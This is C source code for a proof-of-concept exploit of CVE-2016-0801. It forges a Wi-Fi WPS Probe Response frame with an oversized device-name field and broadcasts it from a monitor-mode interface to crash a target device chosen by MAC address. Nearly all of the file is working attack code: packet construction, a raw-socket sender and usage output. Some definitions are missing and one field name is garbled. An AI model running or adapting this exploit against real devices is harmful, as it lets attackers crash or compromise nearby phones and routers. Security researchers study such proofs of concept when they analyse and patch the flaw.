/*
* Copyright (C) 2016 by AbdSec Core Team <ok@abdsec.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program.If not, see <http://www.gnu.org/licenses/>.
*/
/*
USAGE
Total Wps Length: 118
[99]SSID: DON'T_CONNECT
DEST: ff ff ff ff ff ff
Sending Packet (315 byte) ...
...
*/
/*
This is a proof of concept for CVE-2016-0801 Bug
the program proceeds as follows:
oA new WPS Probe Response packet is generated.
oThe device_name field of this packet is filled with some string that's longer than hundered characters.
oThis packet is broadcasted on the network( interface needs to be on monitor mode for this to work).
At this point the device picking up this packet, identified by its mac address(DESTINATION_MAC), should have crashed.
the following patch shows how contributor fixed the bug
https://android.googlesource.com/kernel/msm/+/68cdc8df1cb6622980b791ce03e99c255c9888af%5E!/
Wireshark filter for displaying PROBE RESPONSE packets: wlan.fc.type_subtype == 0x05
Reference WPS Architecture: http://v1ron.ru/downloads/docs/Wi-Fi%20Protected%20Setup%20Specification%201.0h.pdf
Acımasız Tom'a Sevgilerle :)
*/
/* Do NOT forget to set your target's mac address */
/* Tag Number Definitions */
/* Data Element Type Definitions for WPS Probe Response */
/* Just cloned from a sniffed packet */
/* Wps Version */
/* Wps State */
/* Selected Registrar */
/* Response Type */
/* For Device Password ID */
/* For Selected Registrar Config Methods */
/* For Config Methods */
/* For Broadcast */
/* !!! Monitor mode on!!!*/
/* Max Tag Length */
typedef uint8_t u8;
typedef uint16_t u16;
/* Common Tags */
typedef struct {
/* Tag Number */
u8 tn;
/* Tag Length */
u8 tl;
} com_a;
typedef struct {
u8 oui[3];
u8 type;
} com_b;
typedef struct data_definition{
/* Data Element Type */
u16 det;
/* Data Element Length */
u16 del;
} def;
/* Common Wps Tags */
typedef struct wtag_8 {
def init;
u8 item;
} __attribute__((packed)) wtag_a;
typedef struct wtag_16 {
def init;
u16 item;
} __attribute__((packed)) wtag_b;
typedef struct wtag_point {
def init;
char *item;
} __attribute__((packed)) wtag_c;
struct ie80211_hdr {
u8 type;
u8 flags;
u16 duration;
u8 dest[6];
u8 source[6];
u8 bssid[6];
u8 fragment_no;
u8 sequence_no;
};
/* Dynamic Tag */
struct ssid {
com_ahead;
u8 *ssid;
};
/* Tagged Parameters */
struct Wifi_Tags {
struct {
com_a head;
u8 rates[4];
} rates;
struct{
com_a head;
u8 channel;
} ds;
struct {
com_a head;
u8 erp_info;
} erp_info;
/* Extended Support Rates */
struct {
com_a head;
u8 rates[8];
} esr;
struct {
com_a head;
u16 version;
/* Group Chipher Suite */
com_b gcp;
u16 pcs_count;
/* Pairwise Chipher Suite */
com_b pcs;
u16 akm_count;
/* Auth Key Management */
com_b akm;
u16 rsn;
} rsn_info;
struct {
com_a head;
com_b wpa_o;
u16 version;
/* Multi Chipher Suite */
com_b mcs;
u16 ucs_count;
/* Unicast Chipher Suite */
com_b ucs;
/* Auth Key Management */
u16 akm_count;
com_b akm;
} wpa;
struct {
com_a head;
u16 info;
u8 mpdu;
u8 scheme[16];
u16 capabilities;
u16 transmit;
u8 asel;
} ht_capabilites __attribute__((packed));
struct {
com_a head;
u8 channel;
u8 subset1;
u16 subset2;
u16 subset3;
u8 scheme[16];
} ht_info;
};
/*
* WPS Tag Probe Response
*/
struct WPSProbeRespIe {
com_a head;
com_b wps_o;
wtag_a version;
/* Wifi Protected Setup State */
wtag_a wpss;
/* Selected Registrar */
wtag_a sreg;
/* Device Password Id */
wtag_b dpi;
/* Selected Registrar Config Methods */
wtag_b srcm;
/* Response Type */
wtag_a resp;
/* uuid 16 byte */
wtag_c uuid;
/* Manufacturer */
wtag_c man;
/* Model Name */
wtag_c mname;
/* Model Number */
wtag_c numb;
/* Serial Number */
wtag_c serial;
/* Primary_device_type */
wtag_c dev_type;
/* Device Name */
wtag_c dname;
/* Config Methods */
wtag_b cmeth;
};
/* wtag_c pointer is address list from WPSProbeRespIE */
static long wtag_c_point[7];
/* Insert WPS Frames In Line With Types*/
static void
inwps_a( wtag_a *tag, u16 det, u8 par )
{
tag->init.det = reverse16(det);
tag->init.del = reverse16(0x01);
tag->item = par;
}
static void
inwps_b( wtag_b *tag, u16 det, u16 par )
{
tag->init.det = reverse16(det);
tag->init.del = reverse16(0x02);
tag->item = reverse16(par);
}
static void
inwps_c( wtag_c *tag, u16 det, char *par )
{
static int counter = 0;
int i = strlen(par);
i = i > MAX_TL ? MAX_TL : i;
tag->item = ( char * ) calloc( i, sizeof(char) );
tag->init.det = reverse16(det);
tag->init.del = reverse16(i);
strncpy( tag->item, par, i );
wtag_c_point[counter++] = (long )(void *)&(tag->item);
}
/*Convert 'struct WPSProbeRespIe' to bytearray*/
int
wtoa( char *pop, struct WPSProbeRespIe *tag )
{
unsigned char *a = (void *)tag;
char *tmp;
long tmp_a;
int i = 0, p = 0, co = 0, j;
int size = sizeof(struct WPSProbeRespIe);
while( p < size )
{
if( wtag_c_point[co] == (long)(a+p) ){
assert(co++ < 7);
tmp_a = 0;
for( j = 0; j < 32; j+=8 )
tmp_a |= *(a+p++)<<j;
tmp = (char *)tmp_a;
j = 0;
while( tmp[j] )
pop[i++] = tmp[j++];
p+=4;
free( tmp );
}else
pop[i++] = *(a+p++);
}
printf("Total Wps Length: %d\n", i);
/* wps->head.tl */
pop[1] = i-2;
assert(i <= MAX_TL+1);
/* i is array length */
return( i );
}
struct WPSProbeRespIe *
set_wps_probe_response(void)
{
struct WPSProbeRespIe *wps= ( struct WPSProbeRespIe * ) \
malloc( sizeof(struct WPSProbeRespIe) );
char *uuid =calloc( MAX_TL, sizeof(char) );
char *manufacturer=calloc( MAX_TL, sizeof(char) );
char *model_name=calloc( MAX_TL, sizeof(char) );
char *model_number=calloc( MAX_TL, sizeof(char) );
char *serial_number =calloc( MAX_TL, sizeof(char) );
char *device_type =calloc( MAX_TL, sizeof(char) );
char *device_name =calloc( MAX_TL, sizeof(char) );
/*
* Fill them as you wish, but do NOT exceed
* 0xff (256 bytes) length
*/
memset( uuid, 'B', 16 );
memset( manufacturer, 'A', 8 );
memset( model_name, 'D', 8 );
memset( model_number, 'B', 8 );
memset( serial_number,'O', 8 );
memset( device_type,'Y', 8 );
memset( device_name,'S', 128 ); /* For Broadcom CVE-2016-0801 > 100 */
/* Tag Number Vendor Specific*/
wps->head.tn = VENDOR_t;
/* The length will calculate after it packages */
wps->head.tl = 0x00;
/* OUI: Microsof */
memcpy( wps->wps_o.oui, OUI_Microsof, sizeof(OUI_Microsof));
wps->wps_o.type = 0x04;
inwps_a( &wps->version, VERSION, WV );
inwps_a( &wps->wpss, WPS_STATE, WS );
inwps_a( &wps->sreg, SELECTED_REGISTRAR, SR );
inwps_b( &wps->dpi, DEVICE_PASSWORD_ID, PIN );
inwps_b( &wps->srcm, SELECTED_REGISTRAR_CONFIG_METHODS, SRCM );
inwps_a( &wps->resp, RESPONSE_TYPE, RT );
inwps_c( &wps->uuid, UUID_E, uuid );
inwps_c( &wps->man, MANUFACTURER, manufacturer );
inwps_c( &wps->mname, MODEL_NAME, model_name );
inwps_c( &wps->numb, MODEL_NUMBER, model_number );
inwps_c( &wps->serial, SERIAL_NUMBER, serial_number );
inwps_c( &wps->dev_type, PRIMARY_DEVICE_TYPE, device_type );
inwps_c( &wps->dname, WPS_ID_DEVICE_NAME, device_name );
inwps_b( &wps->cmeth, CONFIG_METHODS, CM );
free( uuid );
free( manufacturer );
free( model_name );
free( model_number );
free( serial_number );
free( device_type );
free( device_name );
return( wps );
}
int
create_wifi(char *pop)
{
/*
*struct for radiotap_hdr and fixed_hdr are missing
*/
char radiotap_hdr[26];
char fixed_hdr[12];
struct ie80211_hdr *ie = calloc( sizeof(struct ie80211_hdr), 1 );
struct Wifi_Tags *tag = calloc( sizeof(struct Wifi_Tags), 1 );
struct ssid *ssid;
int i, len = 0;
memset( radiotap_hdr, 0, sizeof(radiotap_hdr) );
radiotap_hdr[2] = 26; /* Header Length */
memset( fixed_hdr, 'A', sizeof(fixed_hdr) );
ie->type = reverse8(PROBE_RESPONSE);
memcpy( ie->dest, DESTINATION_MAC, 6 );
memcpy( ie->source, SOURCE_MAC, 6 );
memcpy( ie->bssid, SOURCE_MAC, 6 );
i = strlen( SSID );
ssid = calloc( i+2, 1 );
ssid->head.tn = SSID_t;
ssid->head.tl = i;
ssid->ssid = calloc(i,1);
memcpy( ssid->ssid, SSID, i );
tag->rates.head.tn = RATES_t;
tag->rates.head.tl = calc_size(tag->rates);
memcpy(tag->rates.rates, RATES_v, sizeof(tag->rates.rates));
tag->ds.head.tn = DS_t;
tag->ds.head.tl = calc_size(tag->ds);
tag->ds.channel = 1;
tag->erp_info.head.tn = ERP_t;
tag->erp_info.head.tl = calc_size(tag->erp_info);
tag->erp_info.erp_info = 0x00;
tag->esr.head.tn = ESR_t;
tag->esr.head.tl = calc_size(tag->esr);
memcpy(tag->esr.rates, ESRATES_v, sizeof(tag->esr.rates));
tag->rsn_info.head.tn = RSN_t;
tag->rsn_info.head.tl = calc_size(tag->rsn_info);
tag->rsn_info.version = 1;
memcpy( tag->rsn_info.gcp.oui, OUI_AES, \
sizeof(tag->rsn_info.gcp.oui) );
tag->rsn_info.gcp.type = 0x04; /* AES(CCM) */
tag->rsn_info.pcs_count = 1;
memcpy( tag->rsn_info.pcs.oui, OUI_AES, \
sizeof(tag->rsn_info.pcs.oui) );
tag->rsn_info.pcs.type = 0x04; /* AES(CCM) */
tag->rsn_info.akm_count = 1;
memcpy( tag->rsn_info.akm.oui, OUI_AES, \
sizeof(tag->rsn_info.akm.oui) );
tag->rsn_info.pcs.type = 0x02;
tag->rsn_info.rsn = 0x0000;
tag->wpa.head.tn = VENDOR_t;
tag->wpa.head.tl = calc_size(tag->wpa);
memcpy( tag->wpa.wpa_o.oui, OUI_Microsof, \
sizeof(tag->wpa.wpa_o.oui) );
tag->wpa.wpa_o.type = 1;
tag->wpa.version = 1;
memcpy( tag->wpa.mcs.oui, OUI_Microsof, \
sizeof(tag->wpa.mcs.oui) );
tag->wpa.mcs.type = 0x04;
tag->wpa.ucs_count = 1;
memcpy( tag->wpa.ucs.oui, OUI_Microsof, \
sizeof(tag->wpa.ucs.oui) );
tag->wpa.ucs.type = 0x04;
tag->wpa.akm_count = 1;
memcpy( tag->wpa.akm.oui, OUI_Microsof, \
sizeof(tag->wpa.akm.oui) );
tag->wpa.akm.type = 0x02;
tag->ht_capabilites.head.tn = HTC_t;
tag->ht_capabilites.head.tl = calc_size(tag->ht_capabilites);
tag->ht_capabilites.info = 0x104e;
tag->ht_capabilites.mpdu = 0x1f;
tag->ht_capabilites.scheme[0] = 0xff;
tag->ht_capabilites.scheme[1] = 0xff;
tag->ht_capabilites.capabilities = 0x0004;
tag->ht_info.head.tn = HTI_t;
tag->ht_info.head.tl = calc_size(tag->ht_info);
tag->ht_info.channel = 11;
tag->ht_info.subset1 = 0x07;
tag->ht_info.subset2 = 0x0001;
tag->ht_info.scheme[0] = 0x0f;
memcpy( pop, radiotap_hdr, sizeof(radiotap_hdr) );
memcpy( &pop[len+=sizeof(radiotap_hdr)], \
(u8 *)ie, sizeof(struct ie80211_hdr) );
memcpy( &pop[len+=sizeof(struct ie80211_hdr)], \
fixed_hdr, sizeof(fixed_hdr) );
memcpy( &pop[len+=sizeof(fixed_hdr)], \
(u8 *)&ssid->head, 2 );
memcpy( &pop[len+=2], ssid->ssid, i );
memcpy( &pop[len+=i], (u8 *) tag, \
sizeof(struct Wifi_Tags) );
len+=sizeof(struct Wifi_Tags);
free( ssid );
free( tag );
free( ie );
return (len);
}
int
broadcast(char *packet, int len)
{
struct sockaddr_ll sll;
struct ifreq ifr;
struct iwreq iwr;
int sock, ret, count = 100;
sock = socket( AF_PACKET, SOCK_RAW, 0x300 );
if(sock < 0){
perror("socket() failed");
exit(EXIT_FAILURE);
}
memset( &ifr, 0, sizeof(ifr) );
strncpy( ifr.ifr_name, IFACE, sizeof(ifr.ifr_name) );
if( ioctl( sock, SIOCGIFINDEX, &ifr ) < 0 ){
perror( "ioctl(SIOCGIFINDEX) failed" );
close(sock);
exit(EXIT_FAILURE);
}
memset( &sll, 0, sizeof(sll) );
sll.sll_family = AF_PACKET;
sll.sll_ifindex= ifr.ifr_ifindex;
if( ioctl( sock, SIOCGIFHWADDR, &ifr ) < 0 )
{
perror( "ioctl(SIOCGIFHWADDR) failed" );
close(sock);
exit(EXIT_FAILURE);
}
memset( &iwr, 0, sizeof( struct iwreq ) );
strncpy( iwr.ifr_name, IFACE, IFNAMSIZ );
if( ioctl( sock, SIOCGIWMODE, &iwr ) < 0 )
iwr.u.mode = IW_MODE_MONITOR;
ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
if ( (ioctl(sock, SIOCGIFFLAGS, &ifr)) < 0 ){
perror("ioctl(SIOCGIFFLAGS) failed");
close(sock);
exit(EXIT_FAILURE);
}
if( bind( sock, (struct sockaddr *) &sll,
sizeof( sll ) ) < 0 )
{
perror( "bind() failed" );
close(sock);
exit(EXIT_FAILURE);
}
while( count-- ){
int i;
printf("\n\033[34m [\033[31m%d\033[34m] \033[33m", count);
printf("\tSSID: %s\n", SSID);
printf("\tDEST: ");
for(i=0;i<6;i++)
printf("%02x ", DESTINATION_MAC[i]&0xff);
printf("\n\tSending Packet (%d byte) ...\033[0m\n", len);
ret = write( sock, packet, len );
if( ret < 0 ){
perror("write() failed");
close( sock );
exit(EXIT_FAILURE);
}
usleep( DELAY );
}
return 0;
}
int
main(void)
{
char *packet = (char *) calloc( MAX_SIZE, sizeof(char) );
struct WPSProbeRespIe *wps;
int len;
len = create_wifi( packet );
wps = set_wps_probe_response();
len += wtoa( &packet[len], wps );
broadcast( packet, len );
free( wps );
free( packet );
return 0;
}
